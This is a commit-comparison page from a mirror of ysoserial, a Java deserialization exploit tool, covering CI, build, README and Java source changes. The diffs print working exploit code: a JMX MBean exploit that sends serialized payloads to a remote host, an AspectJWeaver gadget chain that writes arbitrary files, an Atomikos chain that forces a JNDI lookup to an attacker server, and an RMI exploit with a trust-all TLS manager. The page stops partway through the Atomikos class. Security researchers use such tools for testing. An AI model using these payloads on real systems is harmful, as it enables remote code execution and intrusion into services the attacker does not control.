mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-27 01:11:53 +08:00
Compare commits
2
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
 Chris Frohoff
|
31a706dba2 | ||
|
Chris Frohoff
|
2e7181780b |
+9
-38
@@ -4,46 +4,17 @@ language: java
|
||||
cache:
|
||||
directories:
|
||||
- $HOME/.m2
|
||||
- $HOME/.mvn/
|
||||
|
||||
# jdk6 requires workarounds https://github.com/travis-ci/travis-ci/issues/9713
|
||||
addons:
|
||||
apt:
|
||||
packages:
|
||||
- openjdk-6-jdk
|
||||
|
||||
before_install:
|
||||
- > # install mvn 3.2.5 for use with java6
|
||||
which $HOME/.mvn/3.2.5/bin/mvn || mkdir -p $HOME/.mvn/3.2.5 &&
|
||||
curl https://apache.osuosl.org/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.tar.gz |
|
||||
tar xz -C $HOME/.mvn/3.2.5 --strip-components=1
|
||||
- if [ "$TRAVIS_JDK_VERSION" == "openjdk6" ]; then jdk_switcher use openjdk6; fi
|
||||
- mvn -v
|
||||
|
||||
after_script:
|
||||
- > # print more detailed info about test results
|
||||
cat target/surefire-reports/TEST-ysoserial.test.payloads.PayloadsTest.xml |
|
||||
grep testcase -A1 | grep -B1 -E 'failure|error|skipped' | grep -v -- --
|
||||
# Travis CI provides OpenJDK 6, OpenJDK 7, Oracle JDK 7, and Oracle JDK 8.
|
||||
# Sun JDK 6 is not provided, because it is EOL as of November 2012.
|
||||
# OpenJDK 8 is available on our Trusty images, specify dist: trusty to make use of it.
|
||||
jdk:
|
||||
- oraclejdk8
|
||||
#- oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884
|
||||
- openjdk8
|
||||
- openjdk7
|
||||
#- openjdk6 #https://github.com/travis-ci/travis-ci/issues/8199
|
||||
|
||||
matrix:
|
||||
fast_finish: true
|
||||
allow_failures:
|
||||
- jdk: oraclejdk11
|
||||
- jdk: openjdk6
|
||||
- jdk: openjdk7
|
||||
- jdk: openjdk9
|
||||
- jdk: openjdk10
|
||||
- jdk: openjdk11
|
||||
include:
|
||||
#- jdk: oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884
|
||||
- jdk: oraclejdk8
|
||||
- jdk: oraclejdk11
|
||||
- jdk: openjdk6
|
||||
env: PATH=$HOME/.mvn/3.2.5/bin:$PATH
|
||||
- jdk: openjdk7
|
||||
- jdk: openjdk8
|
||||
- jdk: openjdk9
|
||||
- jdk: openjdk10
|
||||
- jdk: openjdk11
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,6 @@ WORKDIR /app
|
||||
|
||||
# download artifacts
|
||||
COPY pom.xml .
|
||||
COPY assembly.xml .
|
||||
RUN mvn dependency:resolve
|
||||
RUN mvn verify
|
||||
RUN mvn compiler:help
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
[](
|
||||
https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
|
||||
[](
|
||||
[](
|
||||
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
|
||||
[](https://travis-ci.com/frohoff/ysoserial)
|
||||
[](https://travis-ci.org/frohoff/ysoserial)
|
||||
[](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master)
|
||||
|
||||
A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
|
||||
@@ -17,7 +17,7 @@ A proof-of-concept tool for generating payloads that exploit unsafe Java object
|
||||
|
||||
Originally released as part of AppSecCali 2015 Talk
|
||||
["Marshalling Pickles: how deserializing objects will ruin your day"](
|
||||
https://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x).
|
||||
Later updated to include additional gadget chains for
|
||||
[JRE <= 1.7u21](https://gist.github.com/frohoff/24af7913611f8406eaf3) and several other libraries.
|
||||
@@ -43,11 +43,10 @@ are not responsible or liable for misuse of the software. Use responsibly.
|
||||
```shell
|
||||
$ java -jar ysoserial.jar
|
||||
Y SO SERIAL?
|
||||
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
|
||||
Usage: java -jar ysoserial.jar [payload] '[command]'
|
||||
Available payload types:
|
||||
Payload Authors Dependencies
|
||||
------- ------- ------------
|
||||
Atomikos @pwntester, @sciccone transactions-osgi:4.0.6, jta:1.1
|
||||
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
|
||||
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
|
||||
Clojure @JackOfMostTrades clojure:1.8.0
|
||||
@@ -58,7 +57,6 @@ Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
|
||||
CommonsCollections4 @frohoff commons-collections4:4.0
|
||||
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
|
||||
CommonsCollections6 @matthias_kaiser commons-collections:3.1
|
||||
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
|
||||
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
|
||||
Groovy1 @frohoff groovy:2.3.9
|
||||
Hibernate1 @mbechler
|
||||
@@ -71,18 +69,13 @@ Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
|
||||
Jdk7u21 @frohoff
|
||||
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
|
||||
MozillaRhino1 @matthias_kaiser js:1.7R2
|
||||
MozillaRhino2 @_tint0 js:1.7R2
|
||||
Myfaces1 @mbechler
|
||||
Myfaces2 @mbechler
|
||||
ROME @mbechler rome:1.0
|
||||
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
|
||||
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
|
||||
SpringJta @zerothoughts, @sciccone spring-tx:5.1.7.RELEASE, spring-context:5.1.7.RELEASE, jta:1.1
|
||||
Struts2JasperReports @sciccone struts2-core:2.5.20, struts2-jasperreports-plugin:2.5.20
|
||||
URLDNS @gebl
|
||||
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
|
||||
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
|
||||
|
||||
```
|
||||
|
||||
## Examples
|
||||
@@ -107,7 +100,7 @@ $ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 Common
|
||||
|
||||
1. Download the latest jar from
|
||||
[JitPack](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
|
||||
[](
|
||||
[](
|
||||
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
|
||||
|
||||
Note that GitHub-hosted releases were removed in compliance with the
|
||||
|
||||
+20
-7
@@ -1,4 +1,5 @@
|
||||
# based on https://github.com/GoogleCloudPlatform/google-cloud-java/blob/master/appveyor.yml
|
||||
# and http://www.yegor256.com/2015/01/10/windows-appveyor-maven.html
|
||||
|
||||
# build version
|
||||
version: '{build}'
|
||||
@@ -10,31 +11,43 @@ skip_tags: true
|
||||
environment:
|
||||
matrix:
|
||||
- JAVA_HOME: C:\Program Files\Java\jdk1.6.0
|
||||
M2_HOME: C:\bin\apache-maven-3.2.5
|
||||
- JAVA_HOME: C:\Program Files\Java\jdk1.7.0
|
||||
MAVEN_OPTS: -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2
|
||||
- JAVA_HOME: C:\Program Files\Java\jdk1.8.0
|
||||
- JAVA_HOME: C:\Program Files\Java\jdk9
|
||||
|
||||
matrix:
|
||||
allow_failures:
|
||||
- JAVA_HOME: C:\Program Files\Java\jdk1.6.0
|
||||
- JAVA_HOME: C:\Program Files\Java\jdk1.7.0
|
||||
- JAVA_HOME: C:\Program Files\Java\jdk9
|
||||
|
||||
# install required tools (maven, secure-file, encrypted files)
|
||||
# install jdk6 compatible maven
|
||||
install:
|
||||
- cmd: if not exist "C:\bin\apache-maven-3.2.5\bin\*.*" cinst maven --version 3.2.5 --allow-empty-checksums
|
||||
- ps: |
|
||||
Add-Type -AssemblyName System.IO.Compression.FileSystem
|
||||
if (!(Test-Path -Path "C:\maven" )) {
|
||||
(new-object System.Net.WebClient).DownloadFile(
|
||||
'http://www.us.apache.org/dist/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.zip',
|
||||
'C:\maven-bin.zip'
|
||||
)
|
||||
[System.IO.Compression.ZipFile]::ExtractToDirectory("C:\maven-bin.zip", "C:\maven")
|
||||
}
|
||||
- cmd: SET PATH=C:\maven\apache-maven-3.2.5\bin;%JAVA_HOME%\bin;%PATH%
|
||||
- cmd: SET M2_HOME=C:\maven\apache-maven-3.2.5\
|
||||
- cmd: echo %PATH%
|
||||
- cmd: echo %JAVA_HOME%
|
||||
- cmd: echo %M2_HOME%
|
||||
- cmd: mvn -v
|
||||
|
||||
# build and install artifacts
|
||||
build_script:
|
||||
- '"%M2_HOME%\bin\mvn" clean install -DskipTests'
|
||||
- mvn clean install -DskipTests
|
||||
|
||||
# verify artifacts
|
||||
test_script:
|
||||
- '"%M2_HOME%\bin\mvn" test'
|
||||
- mvn test
|
||||
|
||||
# preserve dependencies between builds
|
||||
cache:
|
||||
- C:\maven
|
||||
- C:\Users\appveyor\.m2
|
||||
- C:\bin\apache-maven-3.2.5
|
||||
|
||||
@@ -1,28 +0,0 @@
|
||||
<assembly
|
||||
xmlns="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.3"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.3 http://maven.apache.org/xsd/assembly-1.1.3.xsd">
|
||||
<id>fat-tests</id>
|
||||
<formats>
|
||||
<format>jar</format>
|
||||
</formats>
|
||||
<includeBaseDirectory>false</includeBaseDirectory>
|
||||
<dependencySets>
|
||||
<dependencySet>
|
||||
<outputDirectory>/</outputDirectory>
|
||||
<useProjectArtifact>true</useProjectArtifact>
|
||||
<unpack>true</unpack>
|
||||
<scope>test</scope>
|
||||
</dependencySet>
|
||||
</dependencySets>
|
||||
<fileSets>
|
||||
<fileSet>
|
||||
<directory>${project.build.directory}/test-classes</directory>
|
||||
<outputDirectory>/</outputDirectory>
|
||||
<includes>
|
||||
<include>**/*.class</include>
|
||||
</includes>
|
||||
<useDefaultExcludes>true</useDefaultExcludes>
|
||||
</fileSet>
|
||||
</fileSets>
|
||||
</assembly>
|
||||
@@ -39,7 +39,9 @@
|
||||
<mainClass>ysoserial.GeneratePayload</mainClass>
|
||||
</manifest>
|
||||
</archive>
|
||||
<descriptor>assembly.xml</descriptor>
|
||||
<descriptorRefs>
|
||||
<descriptorRef>jar-with-dependencies</descriptorRef>
|
||||
</descriptorRefs>
|
||||
</configuration>
|
||||
<executions>
|
||||
<execution>
|
||||
@@ -54,7 +56,7 @@
|
||||
<plugin>
|
||||
<groupId>org.apache.maven.plugins</groupId>
|
||||
<artifactId>maven-surefire-plugin</artifactId>
|
||||
<version>3.0.0-M1</version>
|
||||
<version>2.20</version>
|
||||
<configuration>
|
||||
<trimStackTrace>false</trimStackTrace>
|
||||
<systemPropertyVariables>
|
||||
@@ -69,7 +71,7 @@
|
||||
<repository>
|
||||
<id>jenkins</id>
|
||||
<layout>default</layout>
|
||||
<url>https://repo.jenkins-ci.org/public/</url>
|
||||
<url>http://repo.jenkins-ci.org/public/</url>
|
||||
</repository>
|
||||
</repositories>
|
||||
|
||||
@@ -113,7 +115,7 @@
|
||||
<dependency>
|
||||
<groupId>org.jboss.shrinkwrap.resolver</groupId>
|
||||
<artifactId>shrinkwrap-resolver-depchain</artifactId>
|
||||
<version>2.2.6</version>
|
||||
<version>2.1.1</version>
|
||||
<type>pom</type>
|
||||
</dependency>
|
||||
<dependency>
|
||||
@@ -121,21 +123,11 @@
|
||||
<artifactId>javassist</artifactId>
|
||||
<version>3.19.0-GA</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.nqzero</groupId>
|
||||
<artifactId>permit-reflect</artifactId>
|
||||
<version>0.3</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>commons-codec</groupId>
|
||||
<artifactId>commons-codec</artifactId>
|
||||
<version>1.9</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>commons-io</groupId>
|
||||
<artifactId>commons-io</artifactId>
|
||||
<version>2.6</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<artifactId>remoting</artifactId>
|
||||
<groupId>org.jenkins-ci.main</groupId>
|
||||
@@ -311,106 +303,14 @@
|
||||
<artifactId>slf4j-api</artifactId>
|
||||
<version>1.7.21</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.slf4j</groupId>
|
||||
<artifactId>slf4j-jdk14</artifactId>
|
||||
<version>1.7.21</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.clojure</groupId>
|
||||
<artifactId>clojure</artifactId>
|
||||
<version>1.8.0</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.vaadin</groupId>
|
||||
<artifactId>vaadin-server</artifactId>
|
||||
<version>7.7.14</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.scala-lang</groupId>
|
||||
<artifactId>scala-library</artifactId>
|
||||
<version>2.12.6</version>
|
||||
<dependency>
|
||||
<groupId>com.atomikos</groupId>
|
||||
<artifactId>transactions-osgi</artifactId>
|
||||
<version>4.0.6</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework</groupId>
|
||||
<artifactId>spring-tx</artifactId>
|
||||
<version>5.1.7.RELEASE</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework</groupId>
|
||||
<artifactId>spring-context</artifactId>
|
||||
<version>5.1.7.RELEASE</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.apache.struts</groupId>
|
||||
<artifactId>struts2-core</artifactId>
|
||||
<version>2.5.20</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.apache.struts</groupId>
|
||||
<artifactId>struts2-jasperreports-plugin</artifactId>
|
||||
<version>2.5.20</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>org.aspectj</groupId>
|
||||
<artifactId>aspectjweaver</artifactId>
|
||||
<version>1.9.5</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.apache.click</groupId>
|
||||
<artifactId>click-nodeps</artifactId>
|
||||
<version>2.3.0</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.ceylon-lang</groupId>
|
||||
<artifactId>ceylon.language</artifactId>
|
||||
<version>1.3.3</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
<profiles>
|
||||
<profile>
|
||||
<id>jdk6</id>
|
||||
<activation>
|
||||
<jdk>1.6</jdk>
|
||||
</activation>
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>org.apache.maven.plugins</groupId>
|
||||
<artifactId>maven-surefire-plugin</artifactId>
|
||||
<version>2.22.1</version>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>javax.el</groupId>
|
||||
<artifactId>javax.el-api</artifactId>
|
||||
<version>3.0.0</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
<!-- workaround for non-overlapping TLS versions in JDK6 and central repo
|
||||
https://central.sonatype.org/articles/2018/May/04/discontinued-support-for-tlsv11-and-below/ -->
|
||||
<repositories>
|
||||
<repository>
|
||||
<id>repo1</id>
|
||||
<url>http://repo1.maven.org/maven2</url><!-- intentionally http (see above) -->
|
||||
</repository>
|
||||
</repositories>
|
||||
<pluginRepositories>
|
||||
<pluginRepository>
|
||||
<id>repo1</id>
|
||||
<url>http://repo1.maven.org/maven2</url><!-- intentionally http (see above) -->
|
||||
</pluginRepository>
|
||||
</pluginRepositories>
|
||||
</profile>
|
||||
|
||||
<profile>
|
||||
<id>hibernate5</id>
|
||||
<activation>
|
||||
@@ -424,11 +324,6 @@
|
||||
<artifactId>hibernate-core</artifactId>
|
||||
<version>5.0.7.Final</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>javax.el</groupId>
|
||||
<artifactId>javax.el-api</artifactId>
|
||||
<version>3.0.0</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
</profile>
|
||||
|
||||
|
||||
@@ -64,7 +64,6 @@ import org.xnio.ssl.JsseXnioSsl;
|
||||
import org.xnio.ssl.XnioSsl;
|
||||
|
||||
import ysoserial.payloads.ObjectPayload.Utils;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
|
||||
/**
|
||||
@@ -273,7 +272,7 @@ public class JBoss {
|
||||
VersionedConnection vc;
|
||||
Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
|
||||
Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
|
||||
Reflections.setAccessible(vcCreate);
|
||||
vcCreate.setAccessible(true);
|
||||
vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
|
||||
return vc;
|
||||
}
|
||||
|
||||
@@ -1,39 +0,0 @@
|
||||
package ysoserial.exploit;
|
||||
|
||||
import javax.management.MBeanServerConnection;
|
||||
import javax.management.ObjectName;
|
||||
import javax.management.remote.JMXConnector;
|
||||
import javax.management.remote.JMXConnectorFactory;
|
||||
import javax.management.remote.JMXServiceURL;
|
||||
|
||||
import ysoserial.payloads.ObjectPayload.Utils;
|
||||
|
||||
/*
|
||||
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
|
||||
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
|
||||
*
|
||||
*/
|
||||
public class JMXInvokeMBean {
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
|
||||
if ( args.length < 4 ) {
|
||||
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
|
||||
|
||||
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
|
||||
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
|
||||
|
||||
// create the payload
|
||||
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
|
||||
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
|
||||
|
||||
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
|
||||
|
||||
//close the connection
|
||||
jmxConnector.close();
|
||||
}
|
||||
}
|
||||
@@ -24,7 +24,6 @@ import hudson.remoting.Channel;
|
||||
import hudson.remoting.Channel.Mode;
|
||||
import hudson.remoting.ChannelBuilder;
|
||||
import ysoserial.payloads.ObjectPayload.Utils;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
/**
|
||||
* Jenkins CLI client
|
||||
@@ -74,7 +73,7 @@ public class JenkinsCLI {
|
||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
|
||||
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
|
||||
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
|
||||
Reflections.setAccessible(reqCons);
|
||||
reqCons.setAccessible(true);
|
||||
Object getJarLoader = reqCons
|
||||
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] {
|
||||
prop
|
||||
|
||||
@@ -117,7 +117,7 @@ public class JenkinsListener {
|
||||
private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class<?> reqClass )
|
||||
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
|
||||
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
|
||||
Reflections.setAccessible(reqCons);
|
||||
reqCons.setAccessible(true);
|
||||
return reqCons
|
||||
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
|
||||
uro,
|
||||
|
||||
@@ -1,15 +1,9 @@
|
||||
package ysoserial.exploit;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.Socket;
|
||||
import java.rmi.ConnectIOException;
|
||||
import java.rmi.Remote;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.server.RMIClientSocketFactory;
|
||||
import java.security.cert.X509Certificate;
|
||||
import java.util.concurrent.Callable;
|
||||
import javax.net.ssl.*;
|
||||
|
||||
import ysoserial.payloads.CommonsCollections1;
|
||||
import ysoserial.payloads.ObjectPayload;
|
||||
@@ -26,41 +20,14 @@ import ysoserial.secmgr.ExecCheckingSecurityManager;
|
||||
*/
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
public class RMIRegistryExploit {
|
||||
private static class TrustAllSSL implements X509TrustManager {
|
||||
private static final X509Certificate[] ANY_CA = {};
|
||||
public X509Certificate[] getAcceptedIssuers() { return ANY_CA; }
|
||||
public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
|
||||
public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
|
||||
}
|
||||
|
||||
private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
|
||||
public Socket createSocket(String host, int port) throws IOException {
|
||||
try {
|
||||
SSLContext ctx = SSLContext.getInstance("TLS");
|
||||
ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null);
|
||||
SSLSocketFactory factory = ctx.getSocketFactory();
|
||||
return factory.createSocket(host, port);
|
||||
} catch(Exception e) {
|
||||
throw new IOException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
final String host = args[0];
|
||||
final int port = Integer.parseInt(args[1]);
|
||||
final String command = args[3];
|
||||
Registry registry = LocateRegistry.getRegistry(host, port);
|
||||
final Registry registry = LocateRegistry.getRegistry(host, port);
|
||||
final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
|
||||
final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
|
||||
|
||||
// test RMI registry connection and upgrade to SSL connection on fail
|
||||
try {
|
||||
registry.list();
|
||||
} catch(ConnectIOException ex) {
|
||||
registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
|
||||
}
|
||||
|
||||
// ensure payload doesn't detonate during construction or deserialization
|
||||
exploit(registry, payloadClass, command);
|
||||
}
|
||||
|
||||
@@ -1,107 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
|
||||
/*
|
||||
Gadget chain:
|
||||
HashSet.readObject()
|
||||
HashMap.put()
|
||||
HashMap.hash()
|
||||
TiedMapEntry.hashCode()
|
||||
TiedMapEntry.getValue()
|
||||
LazyMap.get()
|
||||
SimpleCache$StorableCachingMap.put()
|
||||
SimpleCache$StorableCachingMap.writeToPath()
|
||||
FileOutputStream.write()
|
||||
|
||||
Usage:
|
||||
args = "<filename>;<base64 content>"
|
||||
Example:
|
||||
java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
|
||||
|
||||
More information:
|
||||
https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
|
||||
*/
|
||||
@PayloadTest(skip="non RCE")
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
|
||||
@Authors({ Authors.JANG })
|
||||
|
||||
public class AspectJWeaver implements ObjectPayload<Serializable> {
|
||||
|
||||
public Serializable getObject(final String command) throws Exception {
|
||||
int sep = command.lastIndexOf(';');
|
||||
if ( sep < 0 ) {
|
||||
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
|
||||
}
|
||||
String[] parts = command.split(";");
|
||||
String filename = parts[0];
|
||||
byte[] content = Base64.decodeBase64(parts[1]);
|
||||
|
||||
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
|
||||
Object simpleCache = ctor.newInstance(".", 12);
|
||||
Transformer ct = new ConstantTransformer(content);
|
||||
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
|
||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
|
||||
HashSet map = new HashSet(1);
|
||||
map.add("foo");
|
||||
Field f = null;
|
||||
try {
|
||||
f = HashSet.class.getDeclaredField("map");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f = HashSet.class.getDeclaredField("backingMap");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f);
|
||||
HashMap innimpl = (HashMap) f.get(map);
|
||||
|
||||
Field f2 = null;
|
||||
try {
|
||||
f2 = HashMap.class.getDeclaredField("table");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f2 = HashMap.class.getDeclaredField("elementData");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f2);
|
||||
Object[] array = (Object[]) f2.get(innimpl);
|
||||
|
||||
Object node = array[0];
|
||||
if(node == null){
|
||||
node = array[1];
|
||||
}
|
||||
|
||||
Field keyField = null;
|
||||
try{
|
||||
keyField = node.getClass().getDeclaredField("key");
|
||||
}catch(Exception e){
|
||||
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(keyField);
|
||||
keyField.set(node, entry);
|
||||
|
||||
return map;
|
||||
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
args = new String[]{"ahi.txt;YWhpaGloaQ=="};
|
||||
PayloadRunner.run(AspectJWeaver.class, args);
|
||||
}
|
||||
}
|
||||
@@ -1,77 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
|
||||
import com.atomikos.icatch.jta.RemoteClientUserTransaction;
|
||||
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
/**
|
||||
*
|
||||
* Gadget chain:
|
||||
*
|
||||
* javax/management/BadAttributeValueExpException.readObject()
|
||||
* com/atomikos/icatch/jta/RemoteClientUserTransaction.toString()
|
||||
* com/atomikos/icatch/jta/RemoteClientUserTransaction.checkSetup()
|
||||
* javax/naming/InitialContext.lookup()
|
||||
*
|
||||
*
|
||||
* Arguments:
|
||||
* - (rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>
|
||||
*
|
||||
*
|
||||
* @author pwntester
|
||||
* payload added by sciccone
|
||||
*
|
||||
* This gadget chain was also discovered by pwntester:
|
||||
* https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
|
||||
*
|
||||
*/
|
||||
@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest")
|
||||
@Dependencies( { "com.atomikos:transactions-osgi:4.0.6", "javax.transaction:jta:1.1" } )
|
||||
@Authors({ Authors.PWNTESTER, Authors.SCICCONE })
|
||||
public class Atomikos implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
// validate command
|
||||
int sep = command.lastIndexOf('/');
|
||||
if ( sep < 0 || (!command.startsWith("ldap") && !command.startsWith("rmi")))
|
||||
throw new IllegalArgumentException("Command format is: " + command
|
||||
+ "(rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>");
|
||||
|
||||
String url = command.substring(0, sep);
|
||||
String className = command.substring(sep + 1);
|
||||
|
||||
// create factory based on url
|
||||
String initialContextFactory;
|
||||
if (url.startsWith("ldap"))
|
||||
initialContextFactory = "com.sun.jndi.ldap.LdapCtxFactory";
|
||||
else
|
||||
initialContextFactory = "com.sun.jndi.rmi.registry.RegistryContextFactory";
|
||||
|
||||
// create object
|
